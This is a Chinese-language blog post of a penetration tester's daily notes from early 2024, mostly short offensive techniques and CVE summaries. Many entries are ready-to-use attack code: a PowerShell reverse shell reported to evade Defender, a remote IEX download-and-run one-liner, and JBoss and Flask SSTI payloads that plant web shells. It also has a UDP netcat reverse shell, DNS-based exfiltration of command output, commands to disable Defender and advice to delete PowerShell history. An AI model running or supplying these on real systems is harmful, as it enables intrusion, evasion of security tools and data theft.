2024 Daily Notes

1 月

15 号:https://blog.ankursundara.com/cookie-bugs/ 由于旧的 RFC 和 框架实现存在差异问题。导致 cookie 可能存在不同的解释和劫持

The empty cookie

Browsers actually allow a cookie with an empty name!

javascript
document.cookie = "a=v1"
document.cookie = "=test value;" // empty name
document.cookie = "b=v2"

This results in the sent cookie header:

“`javascript
a=v1; test value; b=v2;

Cookie Injection

Say a user has control over the sent LANGUAGE cookie

LANGUAGE=”en-us” CSRF_TOKEN=”SPOOFED_VALUE”

This is then parsed by Undertow as 2 separate cookies (even though there’s no semicolon – the cookie separator that browsers use)

LANGUAGE=en-us
CSRF_TOKEN=SPOOFED_VALUE
“`

CVE-2023-7028 GitLab 任意用户密码重置漏洞

在GitLab发布的 16.1.0(2023年5月1日)版本中引入新功能,允许用户通过电子邮件地址重置密码。该漏洞是由电子邮件验证过程中的错误造成的,用户密码重置电子邮件可能会发送到未经验证的电子邮件地址。

19 号:

https://infosecwriteups.com/flying-under-the-av-radar-part-01-9384657de2b2

作者自己写了个 powershell 的反弹脚本,直接运行不会被 Windows Defender 检测到,报告给微软,微软说这不符合危险程度,后续有可能会增强检测

$port = 4444
$ip = '172.28.100.18'

$socket = New-Object System.Net.Sockets.TcpClient($ip, $port)
$stream = $socket.GetStream()
$reader = New-Object System.IO.StreamReader $stream
$writer = New-Object System.IO.StreamWriter $stream

[byte[]]$buffer = 0..65535|%{0}

while($true){
    $data = $reader.ReadLine()
    if ($data -eq $null) {
        break
    }

    $sendback = (iex $data 2>&1 | Out-String )
    $writer.WriteLine($sendback)
    $writer.Flush()
}

$socket.Close()
powershell -nop  -W hidden -noni -ep bypass -c "$port = 4444;$ip = '172.28.100.18';$socket = New-Object System.Net.Sockets.TcpClient($ip, $port);$stream = $socket.GetStream();$reader = New-Object System.IO.StreamReader $stream;$writer = New-Object System.IO.StreamWriter $stream;[byte[]]$buffer = 0..65535|%{0};while($true){$data = $reader.ReadLine();if ($data -eq $null) {break;}$sendback = (iex $data 2>&1 | Out-String );$writer.WriteLine($sendback);$writer.Flush();};$socket.Close();"

powershell 历史命令存储路径:%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

后期可以直接删除。

当然也可以用 goby 的 ps1

powershell IEX (New-Object Net.WebClient).DownloadString('http://gobygo.net/ps/rs.ps1');rs -H 172.28.100.18 -P 4444

20 号:p0wny-shell 一个模拟页面终端的 web shell 项目告诉我们,php 只要有 exec、shell_exec、system、passthru、popen、proc_open 中的任何一个没有被禁用就可以直接执行系统命令。4.29 update: 如果目标安装了 pcntl 拓展(此拓展在 Windows 平台不可用),可以使用 pcntl_exec 进行命令执行。

22 号:

curl 上传文件(总是忘记)

curl url --proxy http://127.0.0.1:8080 -F "[email protected]" -v

curl 上传文件内容

curl -X POST --proxy http://127.0.0.1:8080 -H "Content-Type:  application/x-amf" --data-binary "@poc.ser" url

29 号:

https://mp.weixin.qq.com/s/fRbzLyGSqu7wtB9Bcpq1mg https://forum.butian.net/share/1749

mybatis 的 SQL 映射支持使用 OGNL 表达式, VoteProvider 直接使用字符串拼接来生成 SQL 语句,如果错误地把 用户输入拼接进去,不仅会发生 SQL 注入,还会引发 OGNL 注入

2 月

16 号:

https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html CDN 缓存漏洞利用

21 号:

sqlmap 的 payload 在 /usr/share/sqlmap/data/xml/queries.xml 可以查询

28 号:

https://decoder.cloud/2024/02/26/hello-im-your-adcs-server-and-i-want-to-authenticate-against-you/ 域中在 Certificate Service DCOM Access 组的域用户可以通过 CertSrv Request 实现 NTLM 反射攻击。

3 月

4 号:

下面这个 payload 很好地解决了 jboss jmx-console 未授权不出网的利用方法

/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=web-console.war&argType=java.lang.String&&arg1=she&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<%25java.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("pass")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[2048]%3bout.print("<pre>")%3bwhile((a%3din.read(b))!%3d-1){out.println(new+String(b))%3b}out.print("</pre>")%3b%25>&argType=boolean&arg4=True

然后:

/web-console/she.jsp?pass=whoami

5 号:

使用 nc 上传文件的操作:

server:

nc -lvp 9999 < file_name

target:

cat < /dev/tcp/ip/9999 > file_name

6 号:

windows 关闭实时保护:(只有在防篡改保护关闭下有效)

powershell "Set-MpPreference -DisableRealtimeMonitoring $true"

判断 windows 实时保护状态,True 表示开启, False 表示关闭

powershell (Get-MpComputerStatus).RealTimeProtectionEnabled

7 号:

  • windows 目录遍历:
\\..\\..\\..
  • 权限足够 reg 离线抓哈希就好了,不用想着怎么绕过杀软。

4 月

22 号:

windows defender 排除文件夹列举

powershell "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath"

23 号:

sqlmap 在获取字段的中文内容时,如果是时间盲注的话,可能无法正常获取(返回空),可以加上 --hex 参数,将内容转换为 16 进制导出

28 号:

如果你控了一台机器,通过某个 web 端口,目标本地也开了 3389 或 22 端口,但是外网访问不到,你执意要连接。你可以使用 webshell socks 代理,也可以使用端口复用的方法。Linux 下用 iptables,至于 windows,真没有什么好的办法,winrm 只能做一个后门。https://cloud.tencent.com/developer/article/1759955

添加一条规则,使得来自 192.168.244.1 访问 8888 端口流量重定向到 8889
iptables -t nat -A PREROUTING -p tcp -s 192.168.244.1 --dport 8888 -j REDIRECT --to-port 8889

将上面的规则删除
iptables -t nat -D PREROUTING -p tcp -s 192.168.244.1 --dport 8888 -j REDIRECT --to-port 8889

查看规则情况
iptables -L -t nat -nv

30 号:

Elasticsearch 未授权可以先访问 /_cat/indices?v&pretty 查看各个索引的存储基本信息,包含条数,大小等,快速判断有无影响价值。

5 月

4 号:

在 Windows 机器上想要执行 sqlserver 的操作可以用 sqlcmd 命令,例如:

sqlcmd -S ip -d database -U username -P password -Q "SELECT name FROM sys.tables;"

8 号:

新版本 flask 通过 ssti 打内存马:

http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

参考:https://xz.aliyun.com/t/14421,借助 after_request_funcs 装饰器的 setdefault 函数修改 response 实现内存马注入,类似于一个拦截器

10 号:

Linux 信息收集用这个:netstat -anltp

11 号:

在构建镜像的过程中添加下面参数可使走代理

      args:
        http_proxy: http://172.17.0.1:8123
        https_proxy: http://172.17.0.1:8123

13 号:

国内资产收集过程中,当你收集到了该集团下的所有分公司、子公司、组织名(怎么找到?除了企查查、爱企查等第三方接口,你可以尝试找别人官网显示的组织架构或者是举报页面),你可以通过 ICP 备案 查到对应的公司域名,一查一个准。查不到再借助 Google 或 Bing,再查不到借助 fofa 等搜索引擎

ps: 近来发现子域名资产极少甚至都访问不了,建议走 icon

14 号:

R 语言反序列化:https://hiddenlayer.com/research/r-bitrary-code-execution/

redis 打 windows,之前也想过这个问题,看来确实只有主从复制的办法:https://xz.aliyun.com/t/14455

image-20240514145815347

27 号, update: 这篇文章还提醒我们,redis 写 web shell 的话记得关掉压缩选项 config set rdbcompression no

16 号:

关于 Windows 的 dnslog 命令结果回显外带(常用于 PoC 验证),我们经常用这种方式

ping %username%.dnslog.org

但是这种方式只能读取环境变量,因此我们可以将命令执行的结果设置到某个环境变量中,再外带出来。参考:https://www.cnblogs.com/Alad1ng/p/14511713.html

whoami > temp.txp && certutil -encode temp.txp temp2.txp && findstr /L /V "CERTIFICATE" temp2.txp > temp3.txp && for /f "tokens=* delims=" %i in (temp3.txp) do @cmd /v:on /c "set "line=%i" && set "line=!line:~0,-1!" && ping !line!.d127885d.dnslog.store" && del temp.txp temp2.txp temp3.txp

只能支持一行,因为是 base64 编码去掉了 = 号

20 号:

UDP 反弹 shell

监听:

nc -lvnp 1337 -u

目标执行

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc -u 172.19.178.95 1337 >/tmp/f

27 号:

CVE-2024-32002:攻击者构造一个 Git 仓库,其中依赖了一个子项目,指定存储位置为 A,这个 Git 项目中有一个名为 a 的软链接,指向了 .git 目录。子项目里面构造了一个 hooks 目录,攻击脚本存放在里面。最后,递归克隆项目的时候,因为目录大小写不敏感的原因,子项目实际上被写到了 .git 目录下。这个漏洞可以针对于开发者、运维人员的钓鱼。在 git clone 命令时需要加上 --recursive 参数,值得注意。适用于 Windows 和 Mac,因为他们路径大小写不区分。

28 号:

CVE-2024-2961 这是一个基于 glibc 的缓冲区溢出漏洞,但是在 php 的文件函数(如,file、getimagesize)中广受影响。如果我们能够读取 /proc/self/maps 的内容,并且 php 环境启用了 zlib 拓展,便可以精心构造出地址实现 RCE。例如仅仅是如下的代码

<?php echo file_get_contents($_POST['file']);?>

我们可以借助这个漏洞绕过 php 的函数禁用,或者当作一个后门使用。

ps: PHP 7.0.0 ~ 8.3.7

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇